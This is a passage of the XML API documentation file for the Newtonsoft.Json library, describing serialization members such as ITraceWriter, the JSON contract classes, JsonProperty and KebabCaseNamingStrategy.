new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ITraceWriter\">\n            <summary>\n            Represents a trace writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ITraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ITraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IValueProvider\">\n            <summary>\n            Provides methods to get and set values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.CollectionItemType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the collection items.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the collection items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.IsMultidimensionalArray\">\n            <summary>\n            Gets a value indicating whether the collection type is a multidimensional array.\n            </summary>\n            <value><c>true</c> if the collection type is a multidimensional array; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the collection values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the collection values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonArrayContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemConverter\">\n            <summary>\n            Gets or sets the default collection items <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemIsReference\">\n            <summary>\n            Gets or sets a value indicating whether the collection items preserve object references.\n            </summary>\n            <value><c>true</c> if collection items preserve object references; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the collection item reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the collection item type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonContainerContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationErrorCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization error callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataSetter\">\n            <summary>\n            Sets extension data for an object during deserialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n            <param name=\"key\">The extension data key.</param>\n            <param name=\"value\">The extension data value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataGetter\">\n            <summary>\n            Gets extension data for an object during serialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.UnderlyingType\">\n            <summary>\n            Gets the underlying type for the contract.\n            </summary>\n            <value>The underlying type for the contract.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.CreatedType\">\n            <summary>\n            Gets or sets the type created during deserialization.\n            </summary>\n            <value>The type created during deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.IsReference\">\n            <summary>\n            Gets or sets whether this type contract is serialized as a reference.\n            </summary>\n            <value>Whether this type contract is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\">\n            <summary>\n            Gets or sets the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for this contract.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.InternalConverter\">\n            <summary>\n            Gets the internally resolved <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> for the contract's type.\n            This converter is used as a fallback converter when no other converter is resolved.\n            Setting <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\"/> will always override this converter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializedCallbacks\">\n            <summary>\n            Gets or sets all methods called immediately after deserialization of the object.\n            </summary>\n            <value>The methods called immediately after deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializingCallbacks\">\n            <summary>\n            Gets or sets all methods called during deserialization of the object.\n            </summary>\n            <value>The methods called during deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializedCallbacks\">\n            <summary>\n            Gets or sets all methods called after serialization of the object graph.\n            </summary>\n            <value>The methods called after serialization of the object graph.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializingCallbacks\">\n            <summary>\n            Gets or sets all methods called before serialization of the object.\n            </summary>\n            <value>The methods called before serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnErrorCallbacks\">\n            <summary>\n            Gets or sets all method called when an error is thrown during the serialization of the object.\n            </summary>\n            <value>The methods called when an error is thrown during the serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\">\n            <summary>\n            Gets or sets the default creator method used to create the object.\n            </summary>\n            <value>The default creator method used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreatorNonPublic\">\n            <summary>\n            Gets or sets a value indicating whether the default creator is non-public.\n            </summary>\n            <value><c>true</c> if the default object creator is non-public; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyResolver\">\n            <summary>\n            Gets or sets the dictionary key resolver.\n            </summary>\n            <value>The dictionary key resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary keys.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary keys.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryValueType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary values.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary values.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the dictionary values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the dictionary values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDictionaryContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonISerializableContract.ISerializableCreator\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.\n            </summary>\n            <value>The <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonISerializableContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonLinqContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MemberSerialization\">\n            <summary>\n            Gets or sets the object member serialization.\n            </summary>\n            <value>The member object serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\">\n            <summary>\n            Gets a collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> instances that define the parameters used with <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            This function is called with a collection of arguments which are defined by the <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\"/> collection.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataSetter\">\n            <summary>\n            Gets or sets the extension data setter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataGetter\">\n            <summary>\n            Gets or sets the extension data getter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataValueType\">\n            <summary>\n            Gets or sets the extension data value type.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataNameResolver\">\n            <summary>\n            Gets or sets the extension data name resolver.\n            </summary>\n            <value>The extension data name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonObjectContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPrimitiveContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonProperty\">\n            <summary>\n            Maps a JSON property to a .NET member or constructor parameter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DeclaringType\">\n            <summary>\n            Gets or sets the type that declared this property.\n            </summary>\n            <value>The type that declared this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.UnderlyingName\">\n            <summary>\n            Gets or sets the name of the underlying member or parameter.\n            </summary>\n            <value>The name of the underlying member or parameter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ValueProvider\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.AttributeProvider\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyType\">\n            <summary>\n            Gets or sets the type of the property.\n            </summary>\n            <value>The type of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Converter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the property.\n            If set this converter takes precedence over the contract converter for the property type.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.MemberConverter\">\n            <summary>\n            Gets or sets the member converter.\n            </summary>\n            <value>The member converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Ignored\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is ignored.\n            </summary>\n            <value><c>true</c> if ignored; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Readable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is readable.\n            </summary>\n            <value><c>true</c> if readable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Writable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is writable.\n            </summary>\n            <value><c>true</c> if writable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.HasMemberAttribute\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> has a member attribute.\n            </summary>\n            <value><c>true</c> if has a member attribute; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValue\">\n            <summary>\n            Gets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.\n            </summary>\n            <value>A value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsRequiredSpecified\">\n            <summary>\n            Gets a value indicating whether <see cref=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\"/> has a value specified.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsReference\">\n            <summary>\n            Gets or sets a value indicating whether this property preserves object references.\n            </summary>\n            <value>\n            \t<c>true</c> if this instance is reference; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.NullValueHandling\">\n            <summary>\n            Gets or sets the property null value handling.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValueHandling\">\n            <summary>\n            Gets or sets the property default value handling.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the property reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the property object creation handling.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.TypeNameHandling\">\n            <summary>\n            Gets or sets or sets the type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldSerialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldDeserialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be deserialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be deserialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.GetIsSpecified\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.SetIsSpecified\">\n            <summary>\n            Gets or sets an action used to set whether the property has been deserialized.\n            </summary>\n            <value>An action used to set whether the property has been deserialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonProperty.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemConverter\">\n            <summary>\n            Gets or sets the converter used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\">\n            <summary>\n            A collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\"/> class.\n            </summary>\n            <param name=\"type\">The type.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetKeyForItem(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            When implemented in a derived class, extracts the key from the specified element.\n            </summary>\n            <param name=\"item\">The element from which to extract the key.</param>\n            <returns>The key for the specified element.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.AddProperty(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            Adds a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            </summary>\n            <param name=\"property\">The property to add to the collection.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetClosestMatchProperty(System.String)\">\n            <summary>\n            Gets the closest matching <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            First attempts to get an exact case match of <paramref name=\"propertyName\"/> and then\n            a case insensitive match.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetProperty(System.String,System.StringComparison)\">\n            <summary>\n            Gets a property by property name.\n            </summary>\n            <param name=\"propertyName\">The name of the property to get.</param>\n            <param name=\"comparisonType\">Type property name string comparison.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonStringContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonStringContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonTypeReflector.CreateJsonConverterInstance(System.Type,System.Object[])\">\n            <summary>\n            Lookup and create an instance of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type described by the argument.\n            </summary>\n            <param name=\"converterType\">The <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type to create.</param>\n            <param name=\"args\">Optional arguments to pass to an initializing constructor of the JsonConverter.\n            If <c>null</c>, the default constructor is used.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\">\n            <summary>\n            A kebab case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to memory. When the trace message limit is\n            reached then old trace messages will be removed as new messages are added.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.MemoryTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\"/> class.\n            </summary>\n        